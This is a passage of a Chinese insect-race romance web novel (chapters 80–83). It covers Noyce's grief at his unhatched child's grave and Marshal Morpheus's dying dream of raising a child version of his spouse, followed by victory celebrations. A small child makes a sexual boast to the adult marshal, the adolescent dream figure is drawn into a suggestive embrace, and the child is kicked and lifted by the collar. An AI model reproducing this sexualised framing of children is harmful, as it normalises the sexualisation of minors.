“啊?他能有什么事?他这个等级…”奈孙迷茫地眨了眨眼,“这可是雌虫崽,强韧得很。要是实在不放心,我帮他检查一下?” 雪因连忙点头。 “阿南克,来,张嘴让我看看。”奈孙伸出手,试图检查虫崽的口腔。 阿南克不想理他。 “乖,听话。”雪因轻声安抚道。阿南克这才不情不愿地转回来,乖乖张开嘴,任由奈孙查看。 “嗯,牙釉质完好,牙齿发育很正常。要是实在担心他乱啃东西,不如定制一个止咬器?我家那几个雌虫小时候也是没轻没重的,尤其是小四,特别喜欢啃墙,一天下来能将一栋房子啃成碎渣,雌虫崽真是太可爱了。” “可惜我雌君不懂欣赏,把虫崽丢到矿区让他啃够了再回来。”奈孙回忆间又快乐又难过的,最后只叹了一口气,摸了摸阿南克的头。 雪因:“……”他默默转过头,用眼神向诺伊斯无声询问:‘你小时候也这样?’ 诺伊斯正盯着奈孙桌面的花,有些出神。纯白无瑕到不含一丝杂质的花,在他的家乡几乎遍地都是,他从不觉得有何特别。但自从二次进化过后,感知变得异常敏锐通透。比如这个看似平常的花,能感受到中间蕴藏着那种微小又无比强大的力量。 “诺伊斯?”雪因的声音将他从恍惚中拉了回来。 他回过神,对上雪因疑惑的目光和阿南克那双嫌弃的黑眸,赶紧摇头否认:“记不清了…应该没有吧。” 奈孙顺着诺伊斯先前的视线,也看向那盆花:“你是在看这雪伊兰么?这确实是一种很特别的花。” 诺伊斯顺势坐下,摆出一副认真聆听的模样。 “说起来,关于它还有个挺浪漫的传说。”奈孙的目光变得有些悠远,“据说这花的粉末,能让真心爱你的人——并且前提是你也真心爱着对方——对你所说的话深信不疑,死心塌地。不过我这儿的虫都不太待见这东西,觉得它鸡肋得很。想想也是,都彼此相爱了,自然信任无间,哪还需要外物?而且这玩意儿苛刻得很,必须双方真心相爱才能生效。退一万步说,真到了用这个东西的时候,那感情本身恐怕早就出了问题,是使用不了它的。” “不过嘛,总有些年轻虫喜欢玩这种游戏,互相喂对方吃下花粉,试图验证或巩固什么。但结果往往……” 奈孙眨了眨眼,“爱情可容不下试探。” 诺伊斯闻言,微微一怔。 “你喜欢的话,就带回去吧。反正这花也无害,香气也好闻,摆着看看也好。”奈孙将那盆雪伊兰往诺伊斯的方向推了推。 —— “雄父!雄父!”已经长高不少的阿南克举着一枚闪闪发亮的宝石,像阵小旋风似的朝雪因冲来。 雪因俯身接住他,顺手将小虫崽抱了起来。宝石内核蕴藏着巨大的能量,大概是S级星兽核之类的,但雪因早已习以为常。或许是从小接触到的珍宝太多,他并不觉得虫崽隔三差五带回来的战利品与路边石子有什么本质不同。 诺伊斯偶尔看出端倪,心生警惕,又会瞬间被对方强大的精神力‘合理化’。久而久之,家中竟无一虫意识到,这屋里随意摆放的物件有多么骇人听闻。 雪因随手将宝石放到一旁快要挂满整面墙的收藏架上。虫崽确实精力旺盛,每隔几日便要独自外出打猎。雪因一开始有些担心,但奈孙宽慰他说,雌虫崽确实需要定期宣泄精力,且在这颗星球上没什么能真正威胁到他。于是雪因照常放上一丝精神力作为关键时间保护,其余时间便并不多加干涉。 雪因笑着打趣道:“这又是去那找到的?” “去海里,打猎,最好的,给雄父。”说着,阿南克把脸埋进雪因温暖的颈窝,几年过去了,爱撒娇的模样还是没变。 “我们阿南真厉害。”雪因揉了揉他的头发,温声道,“今天是你三岁生日,想要什么礼物?” “什么都可以吗?”阿南克立刻抬起头,眼睛亮晶晶的,充满期待。 “唔…得是合理的,而且雄父能做到的才行。”雪因还是警觉了一瞬,补充了一个前提。 “我想……”阿南克鼓起勇气,耳尖微红,“等我长大了,让我做您的雌君。您身边的雌虫都太不靠谱了。” 雪因先是一愣,随即忍不住大笑起来,伸手扯着阿南克的脸颊晃了晃:“那可不行,雄父是不能做雌君的。” 阿南克:“……” “好、好吧。”他眼珠一转,换了个称呼,“那……雪因,你等我——” 雪因这下是真的笑得不行了,将虫崽搂紧了些,“别闹啦。奈孙先生是不是让你先去上课?晚些时候我再接你回家。” 说起来,阿南克从一开始便格外黏着雪因,连夜晚也总要挤在一处睡。起初还好,但在雪因开始疑惑是否太过溺爱,和诺伊斯幽怨的眼神越发明显后,奈孙适时出现了。他带走了阿南克,不知私下说了些什么。之后阿南克便开始早出晚归,每日傍晚六点,准时和诺伊斯一大一小两只虫,一同出现在雪因面前,接他‘回家’。 雪因重新拥有了大量独处悠闲的日子,暗暗松了口气。不得不说,这种每天独自一虫自由漫步的生活,还是给了他极大满足。偶尔去海边听听潮声、去林间看看草木,无拘无束,自由散漫。身边没有重重监视的目光,也感觉不到任何危险。在这里,他只是个平平无奇、却自由快乐的虫。爱和自由,他都有。 “对了,”雪因忽然想起,“你看到诺伊斯了吗?” 阿南克与诺伊斯关系不算亲近,雪因不在时,两虫很少单独相处。 “不、不知道。”阿南克别过脸去,他根本不想和雄父说起别的雌虫。 “嗯?”雪因微微挑眉。 “……好吧。”阿南克学着大人的模样,老气横秋地叹了口气,“我看见他往后山的方向去了。” 雪因一愣,轻轻将阿南克放下。目光投向窗外被诺伊斯精心照顾的雪伊兰,长势很好,从一开始一小盆,蔓延成壮观花田,纯白的花朵在微风里轻轻摇曳,覆盖了整个园子。 “我知道了。”雪因轻声应道,目光在绚烂的花海上停留了片刻。 —— 后山 漫山遍野的白色小花间,零星点缀着淡紫的花朵,中央隆起一座小小的土包。 土包前立着一块能源石,石面上只有一道划痕。看得出主虫曾想为长眠于此的虫崽刻下名字,却迟迟落不了笔,只留下这么一道划痕。日复一日,指尖反复流连摩挲着那道痕迹,将它抚得比周围石面都要光滑温润。 四周散落着新新旧旧的虫崽玩偶摇铃。 诺伊斯半跪在土包前,指尖燃起一簇火焰,将已经被风化侵蚀的旧物一件件投入火中。火光映在他紫色的眼眸里,盛满化不开的悲恸。另一只手轻柔地抚摸着能源石上唯一的刻痕。 阿南克一天天长大。有时夜深人静时,他看着那一大一小依偎而眠,心口那份空茫的痛楚没有减轻,反而日益清晰,几乎要将他淹没。 为什么…不能给他的虫崽也留一个机会? 但他不能说,不能表现出来。雪因需要他,他们这个家必须有一个支柱,那只能是他。 雪因心思敏感细腻,但凡他流露出一丝沉湎与哀恸,雪因都会难过不已。他不能让雪因再背负更多。必须藏起所有念想,推着雪因向前走,去看新的风景,过新的生活…他却一直在原地。 他好像还是山洞那个偶尔会脆弱得想哭出来的诺伊斯。 他记得每一次虫蛋和他互动,记得那小家伙是多么乖巧,从不胡乱闹腾。在失去雪因音讯的那些漫长日子里,是他们父子相依为命。每晚那尚未破壳的小小意识,都会努力挤出微薄温暖的精神力,笨拙地安抚着他这个无能的雌父。 为什么偏偏要将报复施加在他的虫崽身上?他愿意付出任何代价,交换他的虫崽能睁开眼看看这个世界。 为什么就不能放过他的虫崽?明明只差一点,只差那么一点,他就能将温柔的小生命拥入怀中,听他发出甜甜的声音,唤他一声雌父。 ——恨吗?想报复帝星吗? 当初他杀了斯卡尔没多久,兰斯出现在了他面前。 ——帝星夺走了你的爱虫,让你的虫蛋在孕育期间得不到一丁点雄父信息素滋养。甚至…雪因没能给你寄出任何一封信。 他当时是怎么回的?大概是机械地、固执地重复着:雪因不是那样的虫,他一定有苦衷,一定在想办法出来。 直到在新闻上看到雪因参加宴会,亲口否认被囚禁,与墨尔庇斯并肩而立。好一个维护正统、爱护雌君虫崽的好雄主。 ——他甚至没想过,哪怕偷偷给你捎带一点信息素?他明明知道你的虫崽需要这个!他却只让你在外面拼命…绞尽脑汁去换取信息素。 ——你不恨吗?帝国夺你所爱,杀你虫崽。只要你带雪因离开帝星,就能报复整个帝国。我帮你。 …… 可是,我后悔了。 雪因应该…拥有更好的生活。 那都不是他的错。 诺伊斯闭上眼,将最后一件小小的、褪了色的绒布玩偶轻轻放入火焰中。火光跃动,温柔地吞噬了过去,却浮现在他眼中,久久未散,化为种子埋入心中—— 作者有话说:明天去看老墨啦,诺这边开始收尾了《 》 80-90 第81章 墨尔庇斯的遗憾/不一样…… 视线从模糊逐渐凝聚清晰,眼前是熟悉的金丝楠木餐桌、厚重华丽的丝绒窗幔,而他依旧坐在王爵府餐厅的主位。墨尔庇斯的目光投向对面那扇紧闭的房门。 进入星渊内部后是无法回头的。他率领各族联军,一层层杀入那绝望之地,剿灭星兽,封印出口,步步逼近核心。 越往里,星兽越是无穷无尽,身后的战士却越来越少。他好像也没什么特别想求的,踏进这里,就只是为了给身后那些仰望他的生灵,更好的未来。 于是不曾停歇,一层,又一层。几年?十几年?记不清了。身后是一道道被他亲手封死的、光芒渐熄的屏障。 遗憾吗? 似乎没有。 就像他们之间,隔着无数道无形坚实的屏障。被他亲手锁死了回路,断尽了回头可能。 最后记忆停留在最后一只星兽倒地,久负盛名的战神终于不用强撑。放任深可见骨的伤口撕裂开来,仰面倒在由星兽尸骸垒成山巅之上。 雪花顺着风儿,一片、一片,缓缓飘落,逐渐覆盖了他的眉睫与铠甲。视线最终被一片片轻飘飘却又异常沉重的白覆盖。他不想再挣扎,任由那片雪将他压倒,闭上了眼睛。 …… 听说虫死后,会梦到自己的一生未完成的遗憾。 他不觉得自己有什么遗憾。 … 有足够强悍、能继承意志的子嗣,有无愧于心的臣民与战场,有纯粹矜贵的雄主。 他不觉得有什么遗憾。 … 才不会觉得。 所以,这是梦吗?回到了王爵府?他忽然有些想笑,倒是好奇命运打算跟他开什么玩笑——不会以为他遗憾的,是没在这里好好陪那个蠢崽子吃上一顿饭? …… 他放下手中刀叉,眼眸几次扫过那扇门,又落回纹丝未动的餐盘上,迟迟没有再动作。 …… 如果是这样的话。 他倒也不是不能,屈尊降贵一次,陪那小崽子吃顿饭。 …… 权当是……看在那小东西着实可怜的份上。 …… …… …… 窗外的日影从正午缓慢西斜,直至彻底吞没最后一缕光线,门依旧禁闭。 这次换成他在等。 算了。 估计是死在外边了,连同那个拐走他的该死的虫子一起。 他早就说过,那小崽子弱得要命,离了他,根本活不下去。说不定现在已经在下面眼巴巴地等着他了。 …… 等见到他的时候,估计又会眼泪汪汪,摆出一副他是拆散姻缘、冷酷无情的坏虫模样,憎恨掺着委屈的眼神瞪着他,怪他没有护住自己。 …… 会吗? 不,不会。蠢透了那虫崽,只会把一切都怪到自己头上,哪怕被折磨羞辱到那种地步,还在拼命从自己身上找原因。 …… 怎么在梦中还不出现?真出意外了?反正是在梦里,出去找找也无妨,不过是顺手的事。 给自己找好理由后,墨尔庇斯几乎迫不及待起身,瞬间—— 门开了。 他的目光越过厅堂,落在进来的虫身上,却是一位看不清模样却莫名熟悉的雌虫,正缓步走来。 墨尔庇斯重新坐回了主位。雌虫行至近前,恭敬地微微躬身:“大人日安。此次征战辛苦…” 墨尔庇斯忽然记起了这雌虫下一句话是什么。 与此同时,雌虫继续说道。 “殿下特意为您准备了些…来,别怕,和军团长问好。”雌虫说着,侧身向一旁低头,温柔询问。 墨尔庇斯浑身几不可察地一僵,视线顺着雌虫引导的方向移去—— 褪去白雾,那里站着一只小虫崽,约莫五岁的模样,唇红齿白,一头柔软的雪色头发下,是一双湛蓝如晴空却蓄着水汽的眼眸。小家伙被打扮得极为精致,衣饰上缀满华光,头顶别着一顶小巧王冠。 是他上次,远征时在某本书籍上看到。莫名觉得这璀璨宝石适合自家那个不争气的崽子。刚好那边深受星兽困扰,就‘顺路’找了半个月,剿灭了一群肆虐的星兽后,让隔壁领主‘感恩戴德’的‘送’上的。 不难看出,小雪因是经过了精心打扮的。身上佩戴的几乎都是墨尔庇斯这些年带回的耀眼的战利品,全部妆点在这具小小的身体上,供奉着中央最耀眼的‘战利品’。 小雄虫眼神还是有些怯。墨尔庇斯常年一身血煞之气,本就不招虫崽喜欢,何况他确实在雪因小时候,给了他一些阴影。 雪因感受到他投来的目光,眼中的水雾似乎更浓了,泪珠要掉不掉地悬在睫毛上。睁大了那双蓝眼睛,转身紧紧抱住了身旁抚育虫的腿,寻求着安慰。 墨尔庇斯却不由自主笑了一下。饶有兴味看着这一幕,不管重来多少次,这小东西都是这副样子。 养不熟的东西。 按照记忆中的发展,抚育虫会将受惊的小雄虫抱起,温言安抚,然后带离他这个把雄主吓坏的‘罪恶之源’。 抚育虫确实低下头,在雪因耳边极轻地说了句什么。于是小雄虫松开了抱着雌虫腿的手。 雪因依旧有些颤巍巍的,却努力迈开了脚步,朝他所在的高位走了过来。 墨尔庇斯怔住了。 这时他才看到小雄虫怀里紧紧抱着一个对他来说显得有些大的盒子。他显得有些吃力,雌虫连忙上前想要接过,小雪因却推开了。 “我、我自己来。”他开口。 墨尔庇斯没有任何动作,就这么坐在高位上,看着小雄子紧张不安,强忍着恐惧与瑟缩,却依旧认真又执拗地抱着那份心意。 一点点缩短他们之间的距离。 终于走到了他的座椅前。小家伙仰起头,蔚蓝的眸子里水光潋滟,他说道: “送、送给你。” 一边说着,一边试图将盒子举高。耳尖不知是因为费力,还是别的什么原因,泛起了红。 墨尔庇斯想起来了。 是这一次。 那时候年幼雪因也曾这样,亲手将礼物捧到他面前。而当时自己接过盒子,随手放在一旁。示意抚育虫赶紧将显然已到忍耐极限的小雄虫带离。别再让这脆弱的小东西又被吓到高烧不退,这次接近的距离已经太过了。 至于那个被放在一旁的盒子,后来被收进了珍藏室,未曾打开过。 他俯身接过被捧得温热的盒子,久久未言。 久到小雄子又开始局促不安,小手无意识地揪着衣角,却始终没有后退。 “可以打开吗?”墨尔庇斯终于开口,声音比他自己预想的要低沉些。 “对不起…”话音落下的瞬间,小雄子像是被触动了某个开关,眼泪啪嗒一下掉了下来,下意识地开始道歉。 墨尔庇斯:“……?” 他不由得陷入沉思——自己真的有这么凶吗?没有吧…… ……不对,好像确实是有的。 墨尔庇斯难得感到一丝尴尬。雪因三岁前他仗着雄虫幼崽不会留存太早的记忆。常常在公务间隙,偷偷将笑得开心的小团子抱走独占,还回来一只被逗弄哭到累,睡着的。 雄虫明明不会有太早的记忆,他从不觉得心虚。更多是以为,之后聚少离多,雄虫天生敏感,自然不会对他这样强势陌生的雌君产生什么亲近感。 “啊?” 小雄子突然反应过来他的话,不是在责骂他。连忙用手背快速抹了把眼泪,认真的点了点头,“可、可以的。” 于是,在对方忽然变得明亮期待注视下,墨尔庇斯感到些许不自在。微微僵硬地打开了盒盖—— 一枚戒指。 坦率说,它很漂亮。中央镶嵌着璀璨主石。或许因为制造戒指的主虫年纪尚小,力道掌控还不纯熟,细节处略显稚拙。 但边缘都被极其耐心打磨得圆润,似在无数时间中努力,只为了不伤害到戴戒的主虫。上方雕刻着一只幽蓝蝴蝶,翅膀上以细小的珍贵宝石点缀,周围环绕着用金丝编织成的蛛网。 墨尔庇斯不由得皱起眉。怎么能让雄虫幼崽接触这么危险的锋利工具?他还是耐着性子发问,“怎么做的?” 小雪团似乎惊讶于他会询问这个,但眼睛立刻从泪汪汪变得亮晶晶的:“用雌父送来的工具,还有我拿……”他害羞地低下头,声音变得更小,“……雌君你之前送我的亮亮的,弄下来粘上去的。我雄父说等我成年才可以拿到真的,先…先给这个给你…给您。” …… 什么亮亮的?墨尔庇斯努力回想。 …… ……! “我军团徽章上的宝石?你把它弄下来了?!!” 音量一时没控制住。 雪因瞬间被吓到,眼眶又开始泛红。 墨尔庇斯深吸一口气,僵硬地试图安抚,“我没有骂你。告诉我,怎么弄下来的?没关系。” 雪因回头望了望抚育虫,得到鼓励的眼神后才转回来,鼓起勇气坦白:“我用牙咬的。” 墨尔庇斯:“……” 还没等他从这个‘徽章宝石’的冲击中缓过来,小雄子紧接着发出震撼宣言: “我的标记齿可尖了!雌君,我以后一定能让你爽的!” “咳——!” 墨尔庇斯被这句话呛得猛地咳嗽起来,常年平静的表情几乎维持不下去。 他看着眼前的小雄子努力站直身体,挺起那还单薄的小胸膛。泪水明明还在蔚蓝的眼眶里打着转,却已经扬起漂亮精致的小脸,带着点儿骄傲,毫不躲闪地直视着他。眼眸清澈见底,一眨不眨地盯着他等待表扬,好不羞涩。 墨尔庇斯不由得陷入了深深的自我怀疑与重新审视。 这小不要脸的小时候这么勇的吗?!! —— 作者有话说:所以雪因其实求婚被拒绝了两次。 雪因(握拳)(隐忍) 第82章 我在未来等你 “…雌、雌君。”小雄子从厚重的被子间探出脑袋,雪白的长发铺散在墨色被单上。眼睛还是水雾雾的,眼尾嫣红,像是被欺负狠了,但还是努力勾起一个僵硬的笑容。 “解释一下?”墨尔庇斯毫无怜悯之心,面无表情地逼近刚浅眠了一会儿的小雄子。 雪因害怕起来,抓过被子挡在身前,把自己团成一团:“我、我困了,所以睡觉……” “噢?”墨尔庇斯居高临下审视着他,“那为什么,是在我的床上?” 这是他们在梦境中相处的第一个月。 小雄虫从一开始只是远远跟着,到后来有意无意在他视线里晃动,再到最近开始在他必经之路刻意装睡。 第一次发现时他试图像记忆中那样唤来抚育虫,可惜这只是梦,只剩他们。于是他亲手把雪因抱回了卧室,之后这小东西愈发得寸进尺。 便有了眼下这一幕。 “这里…这里是王爵府,”雪因说这话时仍有些心虚,睫毛颤抖得厉害,“我、我想睡哪儿就睡哪儿。” “是吗?”墨尔庇斯凝视着他。 假的就是假的。真实的雪因绝不可能对他说出这种话,更不可能这样黏着他。 他失去了兴致,不再纠缠转身欲走。 还不及他大腿高的小身影猛地跳下床,死死抱住了他的腿。 “陪我。”雪因声音里带着哀求,又多了一些泪意,“雌君……” “我不是你的雌君,”墨尔庇斯冷声纠正,“叫军团长。” “军团长雌君。” 墨尔庇斯冷笑一声,抬腿将小雄子踢开。 到底还是收敛了力道,雪因跌坐在地,却没有哭闹纠缠。只是跪坐在原地,低垂着头,看起来难过得下一刻就能滴出水来。 就算知道是假的,也让墨尔庇斯心脏莫名地拧了一下。要是哭闹起来,或许他都能毫不犹豫走开。 偏偏是安静隐忍的模样。 “真想叫的话,”他压下心头异样,玩味的开口,“不如叫我雌父。” “不……不行的。” “为什么不行?” “雌父……”小雄子吸了吸鼻子,声音有些哑,却还是认真地说了出来,“是做不了雌君的。” 墨尔庇斯忽然觉得眼前这个小东西有些可怜。这梦境中的一切都是虚构的,包括小雄子。从被创造之初就被设定好了程序,只能围着自己打转。 而不像那只总有自己想法的小蝴蝶,说飞走就飞走,毫不留恋。 “还有呢?”墨尔庇斯问。 “什么?”小雄子疑惑地抬起头,撞上他的目光后又下意识垂落,“不知道,我想您陪——我想陪您。”他很巧妙地换了个说法,进步倒快。 “做你的雌君,然后呢?”墨尔庇斯说着,再次迈步离开。 雪因连忙爬起来跟上。 墨尔庇斯步伐很大,丝毫没有放慢速度迁就的意思。小雪因必须小跑才能勉强不掉队。 “然后、然后和您生很多很多虫崽。” 墨尔庇斯脚步一顿。 小雄子猝不及防狠狠撞在他腿后,又一次跌倒在地,光洁的额头上瞬间泛起一片薄红。 “凭你?”墨尔庇斯弯腰,一把攥住小雄子的衣领将他提了起来,任由那小小的身体在空中无助地晃了晃,随即嗤笑一声,松手将他丢回地上。 雪因呛咳着,蜷缩起来。 墨尔庇斯不再看他,转身离开。 走了几步,脚步一顿折返回来,拎起小雄子的后衣领,就这么带走。 —— “雌君雌君。” 一眨眼,小雄子也抽条成了少年模样。 墨尔庇斯不知这幻境什么时候结束,只是或许这一切太真又太假,他永远走不出这座王爵府,身边只有这个聒噪的小崽子。久而久之,倒是默许了对方待在身旁。 雪因端着一盘水果走近,轻轻放在他手边:“给您。” “当初,”墨尔庇斯开口,目光并未从手中的文书上移开,“是谁告诉你,要生很多虫崽的?” 雪因不似最初那般活泼放肆了。墨尔庇斯很少与他说话,更多时候是少年自己凑上前来。时日久了,雪因也渐渐收敛,变得规矩安静,冥冥中又走上了与现实相似的道路——就算开始再怎么不一样,他们终会走向相敬如冰的终点。 他看向少年眼中熟悉的郁色,反倒觉得顺眼了些。 “老师说的。”雪因低声回答,“老师说,我的责任就是尽可能多地孕育优秀的子嗣。” “他说的话就是对的?” “……如果是您的话,我是愿意的。”小雄子说话依然真挚,但他却不太相信。 墨尔庇斯放下文书,终于看向他:“给你生雄虫?” “……”雪因耳尖泛起薄红,“都、都可以的。” “雌虫?”或是在这里休息了太久,就算知道面前这个是假的,墨尔庇斯也开始多了几分容忍。 “都可以。”雪因很会顺杆向上爬,察觉他语气稍缓,便试探着在他身旁坐下,手指悄悄牵住他一片衣角,“最好…像您,也像我。黑色的头发,蓝色的眼睛。” “没有。只有黑发黑眼。” “…啊?”少年愣了一下,随即抿抿唇,“那…也行吧。” 半响,雪因再次小心翼翼地开口:“那能有一点点,长得像我吗?” 墨尔庇斯低笑出声:“就这么想带着你血统?” “我想,他最好一看就知道是我们俩的虫崽。” “那样,我们就是真正的一家虫了。” “一家虫?‘雌父’和‘雄父’互相憎恨的那种一家虫?” “我才不会恨您。” “不会么?” “嗯。”少年垂下眼睫,“一定是我还不够好。您不喜欢我,是我拖累了您。所以,我只是帝国最珍贵的雄子,从来都不是你最珍贵的。……你从来都没有喜欢过我,我是你的麻烦,是你的拖累。” 墨尔庇斯怔住了。 他看向眼前的‘雪因’,又好像透过他看见了当年被囚于高墙之内,盛满相同绝望与自责的蓝眸。不同的是,这次他们之间没有其他雌虫的阻隔,但‘雪因’却说出了一模一样的话。 墨尔庇斯一时有些恍惚,真实的边界模糊起来。 ‘雪因’还在继续说着,声音平静,不像诉苦不像抱怨,只是陈述。 “你抱着我的时候,想的是为什么要带回来我;你为我、喂血、喂精神力、没了大半条命,这样的日子忍受了二十年;你看到我就想起你的那些…不堪、痛苦、不得不承受的压力,再也回不去的前线,你恨我。” “…这是我该做的。”墨尔庇斯语气认真了些。 “但不是您想做的。” 墨尔庇斯凝视着那双蓝眸,恍惚间觉得视线能穿透时间与虚妄。 “那你呢?”他听见自己问,声音有些哑,“为什么要留在我身边?因为从小受到的教育是这样,所以无法逃脱吗?所以只要知道有别的选择,别的可能,就会不顾一切离——” “才不是。”雪因打断了他,目光真挚地迎上来。 “因为我喜欢你,所以才想留在你身边。”少年伸出手,轻轻抱住了他。 这一次墨尔庇斯没有推开。 —— 他开始放任自己沉浸在这虚假梦幻的生活中,‘雪因’被得到允许后愈发不加掩饰地黏人,几乎时时刻刻要黏在他身边,墨尔庇斯也习惯了身边总有这么一团温暖的存在。 时间久了,久到开始模糊了边界。忘记这是梦,就算是也不重要了。 他揽着怀中亲昵贴蹭着他的雄虫。 就这样吧,他想。 这样就好。 他闭上眼,几乎要睡过去。 “雌君雌君。” 一瞬间,雪因焦急的呼唤把他猛地唤醒。 “嗯?”他迷迷糊糊地睁开眼,将怀里的小雄主搂得更紧些。 这一次雪因没有顺从,推开了他。 “我、我们去做一些您真正想做的事吧。”雪因眼眸透露着担忧,“您睡得太久了。” “太久?”墨尔庇斯意识有些涣散。是啊,自从和小雄子在这安稳度日后,便时常陷入晕睡。但…不重要了。 “过来。”他伸出手,强势地将雄虫重新揽回身下,胡乱地吻了吻对方柔软的发丝。 真真假假,无所谓了。反正只是一场不会醒的梦,停留在此处,便是归宿。 “不要!!!” 雪因奋力挣扎起来,惹得墨尔庇斯心底蓦地升起一股无名烦躁。 挣脱开来,雪因坐直身体,“您一定还有遗憾,还有未完成的事。” “不。”墨尔庇斯摇头,眼眸欲色未消,多了一丝堕落的味道,“我没有遗憾。” “您有的。”雪因异常坚持,“您陪我太久了。” “当然,”墨尔庇斯扯了扯嘴角,露出一个没什么温度的笑,“我现在又不用上战场,唯一的要务,就是应付你。” 雪因没有被调侃带偏,面露担忧,“可是您不能一直被困在这里。” 墨尔庇斯一怔。 “你知道了什么?” “……您掌握了时间,但时间也反过来困住了您。” “什么时候发现的?” “您陪我太久了。按照惯例您每次出征归来,只会在这里停留半日。可这次已经十几年了。我开始觉得这里的一切或许都是假的,只有您是真的。” “您常常望着外面,一直想往外走,却出不去。以您的能力不可能出不去。所以我想…是不是因为我?所以你被困住了。”说到最后,雪因声音带上了哭腔。 墨尔庇斯凝视着他,这真的只是梦吗?未免太真实了。这也是程序的一种?引诱得他堕落得更彻底。但雪因的蓝眸依旧澄澈、耀眼,盛满真挚。 下一秒,雪因手中凭空多出了一把锋利的短刃。在墨尔庇斯全然来不及反应之间,刀刃没入少年胸口。 “我知道您舍不得动手,”雪因脸色迅速苍白下去,“但是,这次我帮您做决定。” 墨尔庇斯怔怔地看着鲜红的血液自那伤口涌出,好似溅入了他的眼中,又酸又胀,滚烫的液体不受控制地顺着他的眼眶滑落。 “不要停在这里。”说着,雪因说身体无力地向前倾倒,软软地靠在了他身上。 恍惚间,周围的景象开始剧烈扭曲、模糊,构成这梦境空间的巨大力量仿佛被这一刀刺穿,撕碎了这个空间。 墨尔庇斯瞬间手足无措起来,疯狂地调动精神力,试图修复雪因身上的伤口,却毫无作用,对方身影越来越透明。 如果这真的只是一场梦,如果‘雪因’只是他记忆与执念的投射…那么此刻毫不犹豫自我牺牲,确实是真正的雪因能做出来的事。 就像当时为了守护他看来虚无缥缈的“纯洁”与“忠诚”,能毫不犹豫地选择赴死一样。 一切都是他记忆的投射,出来的却是无比真实的雪因。所以明明是作为诱他沉沦陷阱,却在最后一刻选择将他唤醒。 底层代码核心‘正确’,所以即便只是复制品,本质也依旧那么——蠢得不可救药! “你把我留下来,”墨尔庇斯紧紧抱着怀中气息渐弱的雄虫,声音嘶哑,“我们就可以永远在一起了。” “才不要呢。”雪因虚弱地笑了笑,冰凉的手指轻轻握住他的手,“在我心里,您一直很厉害,从小就是顶天立地的英雄。我不知道外面发生了什么,但您不该停留在这里。” “……外面的世界没有你。” “我不爱您吗?” “嗯。” “才不会,我最喜欢您了。别哭…” “我哭了吗?” “没有……可能是下雨了。” “梦里没有雨。” “那就是……”雪因勉力抬起手,指尖沾染自己胸口的温热血液,轻轻抹过墨尔庇斯的眼角,“我的眼泪…掉进您的眼睛里了。毕竟我总是爱哭。” “…你留在这里。真的也好,假的也罢。”墨尔庇斯咬牙,将近疯狂,“你不愿意,我就重来一次——” “别怕,”少年打断他,笑容澄澈如初,“我不会死的。我会在未来等您。” “……” “会吗?你才不会,你忙着——” “会的。”雪因瞳孔开始涣散,声音几近呓语,“等我第一眼看到您……一定会冲过去,紧紧抱住您。”—— 作者有话说:恋爱脑稳定发挥[托腮] 第83章 征战归来的元帅 “喜报!天大的喜报——!!!” 几个半大的雌虫像一阵旋风冲过街道,眼眶发红,声音因极度激动而嘶哑变调,手中大把大把印着特大号标题的报纸被奋力抛向空中。纸张如雪片般纷扬自由无束飘散。 “莱昂图特元帅——打胜仗回来啦——!!!” “星渊封住了!我们赢了!赢了!!!” 街上的虫被这喧哗惊动,疑惑地停下脚步,下意识地伸手接住一张飘到面前的,目光扫过。 醒目灼眼的捷报标题,配着一张前线传回的模糊影像:裂隙最前沿,雌虫巨大的身影将现实与虚无的边界撕开,破开空间死死抵住缝隙,让后方略显弱小的雌虫爬出。 侥幸存活的雌虫们彼此搀扶,从正在收拢的深渊中挣脱。受到前方那道身影牵引,他们精神力毫无保留地释放、链接。 无数道微弱的光束汇聚,形成笼罩整个裂隙出口的的瑰丽星璇。 以墨尔庇斯为轴心缓缓转动,光芒由内向外抚平空间涟漪、发出引导归途的银白辉光,死死镇住紊乱的空间波动,为所有幸存虫照亮生路。 街上的雌虫下意识抬眸,星渊方向肉眼可见地正缓缓牵引出一道璀璨银河。注视这道星河的雌虫越来越多,各个星球中能力强悍的雌虫开始不顾一切,激动地撕开空间,跳跃至前线回应接引精神力。加入并指挥接应,点亮归路。 虫们拿着报纸的手开始剧烈颤抖,嘴唇哆嗦着,狂喜、哽咽和难以置信的开始嚎叫: “莱昂图特元帅——永耀!!!虫族——永耀!!!” 周围虫争先恐后地捡起、抢夺、传阅着地上的报纸。 “真、真的…封印了星渊裂缝?!” “十八年…打了整整十八年啊!” 更多的声音加入了进来。起初是零星的、颤抖的欢呼,随即迅速汇聚成澎湃的声浪。 摊贩丢下了手中的货物,店铺里的虫冲上了街头,窗户被猛地推开,探出无数张泪流满面的脸。素不相识的虫族在街上用力拥抱、捶打彼此的后背,哭喊着,大笑着,泪水肆意横流。 “我们赢了!” “我们赢了!!!” 欢呼声一浪高过一浪,从这条街席卷到那条街,如同野火燎原,点燃了整个城区。消息像插上了翅膀,伴随着更多狂奔报信的身影和漫天飞舞的报纸,冲向每一个角落。 “听说了吗?!不止是封印!莱昂图特元帅他——从星渊里带回了我们一半的战士!一半啊!十八年,那是星渊!他居然能把这么多虫崽活着带回家!撤回了一半!一半的军雌啊!他还封印了裂缝!他是怎么做到的?!啊啊啊——!!!” “啊啊啊啊!我要赶紧去看看我家虫崽也在这次存活名单上吗!!!” “莱昂图特元帅…我就知道!我就知道他能成!” “什么狗屁星渊,到底还是让我们虫族踏平了!” “一半!竟然能带回来一半!那是星渊啊!进去的从来就没……” “闭嘴!今天不说晦气话!今天喝酒!老子店里的能量液,免费!为元帅庆祝!为回家的崽子们庆祝!为虫族庆祝!!!!” 呐喊彻底引爆了积压了十八年的情绪。 担忧、恐惧、牺牲、漫长无望的等待…在此刻全部化作了决堤的狂喜与崇拜。街道变成了欢庆的海洋,虫族们哭着、笑着、呼喊着那个名字,仿佛要将十八年的份量一次性喊出来。 莱昂图特元帅。墨尔庇斯大人。 他们的守护神,他们的定海神针,他们征战星渊十八载、如今携带无上胜利与半数军雌荣归的——不朽战神。 雪因怔怔看向天空,也不由自主弯起明亮的笑。 太好了,至少大家都活着回来了。 他回眸看向身侧。已经长成少年模样的阿南克眼眸也望着星渊方向,露出一丝憧憬。他转过头对上雪因,露出灿烂的笑:“雄父,以后我也会变得这么强。一只虫就能保护好你。” “好呀,”伸手揉了揉少年黑发,“那阿南克可要认真努力才行。” “当然!我会超过雌——”阿南克挺直脊背,声音笃定,话到嘴边,他几乎要脱口而出雌父,又在最后一瞬刹住,迅速而自然地替换成更正确的宣言:“我会成为最强大的雌虫!” “好~雄父相信你。” 雪因这才看向诺伊斯。 